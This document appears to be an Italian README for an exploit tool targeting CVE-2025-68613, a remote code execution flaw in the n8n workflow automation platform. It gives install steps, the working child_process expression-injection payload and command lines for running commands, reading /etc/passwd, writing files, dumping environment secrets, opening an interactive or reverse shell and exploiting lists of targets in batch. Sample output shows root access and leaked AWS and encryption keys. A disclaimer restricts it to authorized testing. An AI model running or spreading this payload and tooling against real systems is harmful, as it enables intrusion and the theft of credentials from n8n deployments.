n8n God Mode Ultimate - CVE-2025-68613 Scanner v1.0.0 ║ ║ Esecuzione remota di codice nell'automazione dei workflow
n8n God Mode Ultimate è un framework completo di test di sicurezza progettato per rilevare e validare la CVE-2025-68613 nelle piattaforme di automazione dei flussi di lavoro n8n. Questa vulnerabilità critica di Remote Code Execution (RCE) colpisce le versioni di n8n tramite l'iniezione di espressioni nei contesti di esecuzione dei flussi di lavoro.
Versioni interessate:
Versioni patchate:
--detect - Solo rilevamento della versione (il più veloce, non intrusivo)--safe - Verifica sicura della vulnerabilità senza exploitation--poc - Validazione proof-of-concept della RCE--exploit - Modalità di exploitation completaread <file> - Legge file remotiwrite <file> <content> - Scrive file sul target# Python 3.8 or higher
python3 --version
# pip package manager
pip3 --version
# Clone the repository
git clone https://github.com/hackersatyamrastogi/n8n-exploit-CVE-2025-68613-n8n-God-Mode-Ultimate.git
cd n8n-exploit-CVE-2025-68613-n8n-God-Mode-Ultimate
# Install required packages
pip3 install -r requirements.txt
requests>=2.31.0
urllib3>=2.0.0
tqdm>=4.66.0
colorama>=0.4.6
# Display help menu
python3 n8n-godmode-ultimate.py -h
# Detect n8n version (non-intrusive)
python3 n8n-godmode-ultimate.py -u http://target:5678 --detect
# Safe vulnerability check
python3 n8n-godmode-ultimate.py -u http://target:5678 --safe -e [email protected] -p password
# Proof-of-concept RCE
python3 n8n-godmode-ultimate.py -u http://target:5678 --poc -e [email protected] -p password
# Full exploitation
python3 n8n-godmode-ultimate.py -u http://target:5678 --exploit -e [email protected] -p password
# Execute single command
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --cmd "whoami"
# Read remote file
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --read-file "/etc/passwd"
# Write remote file
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --write-file "/tmp/test.txt" --content "payload"
# Extract environment variables
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --dump-env
# Interactive shell
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --shell
# Scan multiple targets from file
python3 n8n-godmode-ultimate.py -l targets.txt --detect -t 20
# Batch exploitation
python3 n8n-godmode-ultimate.py -l targets.txt --poc -e [email protected] -p password -t 10
Formato di targets.txt:
http://target1:5678
https://target2.example.com
http://192.168.1.100:5678
https://n8n.example.org
Una volta in modalità shell (--shell):
n8n> whoami # Execute command
n8n> read /etc/passwd # Read file
n8n> env # Show environment variables
n8n> info # System information
n8n> history # Command history
n8n> exit # Exit shell
-u, --url URL URL del target n8n
-l, --list FILE File contenente gli URL dei target
-t, --threads NUM Numero di thread per la scansione batch (default: 10)
-e, --email EMAIL Email utente n8n
-p, --password PASS Password utente n8n
--detect Solo rilevamento della versione (il più veloce)
--safe Verifica sicura senza exploitation
--poc Proof-of-concept della RCE
--exploit Modalità di exploitation completa
--god Abilita la god mode
--cmd COMMAND Esegue un singolo comando
--read-file PATH Legge un file remoto
--write-file PATH Scrive un file remoto
--content DATA Contenuto per l'operazione di scrittura
--dump-env Estrae tutte le variabili d'ambiente
--shell Modalità shell interattiva
--revshell HOST:PORT Payload di reverse shell
--mode MODE Modalità di exploit: schedule|webhook|code|expression (default: schedule)
--timeout SEC Timeout del comando in secondi (default: 30)
--cleanup Elimina i flussi di lavoro dopo l'esecuzione
-k, --insecure Disabilita la verifica SSL
-v, --verbose Output verboso
-q, --quiet Output minimale
Crea un flusso di lavoro con un trigger programmato che si esegue automaticamente ogni 3 secondi. Il metodo più affidabile.
Payload: {{(function(){
return this.process.mainModule.require('child_process')
.execSync('whoami').toString()
})()}}
Crea un endpoint webhook HTTP che esegue i comandi quando viene attivato.
Inietta codice direttamente in un nodo Code con accesso a child_process.
Esecuzione manuale tramite il sistema di valutazione delle espressioni di n8n.
Estrae la versione dalla configurazione Sentry codificata in base64 nella pagina di accesso:
<meta name="n8n:config:sentry" content="eyJ2ZXJzaW9uIjoi..." />
/rest/login - Autenticazione/rest/workflows - Operazioni CRUD sui flussi di lavoro/rest/credentials - Enumerazione delle credenziali/rest/executions - Recupero dei log di esecuzione/rest/users - Enumerazione degli utenti/rest/settings - Configurazione di sistema[*] n8n God Mode Ultimate v1.0.0
[*] Target: https://target.example.com
[✓] n8n Version: 1.36.1
[!] Status: VULNERABLE (< 1.120.4)
[*] Authentication successful
[*] Creating exploitation workflow...
[*] Workflow ID: hd6LxSY765WBThqd
[*] Executing command: whoami
[✓] Command executed successfully!
[+] Output: root
n8n> whoami
[+] root
n8n> read /etc/hostname
[+] n8n-production-server
n8n> env
[+] Environment Variables:
N8N_ENCRYPTION_KEY=a1b2c3d4e5f6...
DATABASE_HOST=postgres.internal
AWS_ACCESS_KEY_ID=AKIA...
SOLO PER TEST DI SICUREZZA AUTORIZZATI
Questo strumento è fornito a scopo educativo e per test di sicurezza autorizzati. Gli utenti devono conformarsi a tutte le leggi e normative applicabili.
DEVI:
NON DEVI:
L'autore non si assume ALCUNA responsabilità per l'uso improprio di questo strumento. L'accesso non autorizzato a sistemi informatici è illegale ai sensi di:
Usalo a tuo rischio. Sei responsabile delle tue azioni.
I contributi sono benvenuti! Segui queste linee guida:
git checkout -b feature/improvement)git commit -am 'Add new feature')git push origin feature/improvement)Satyam Rastogi
Questo progetto è concesso in licenza MIT - consulta il file LICENSE per i dettagli.
MIT License
Copyright (c) 2025 Satyam Rastogi
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
Per problemi di sicurezza, segnala responsabilmente:
⭐ Metti una stella a questo repository se lo trovi utile!
Realizzato con 💻 da ricercatori di sicurezza, per ricercatori di sicurezza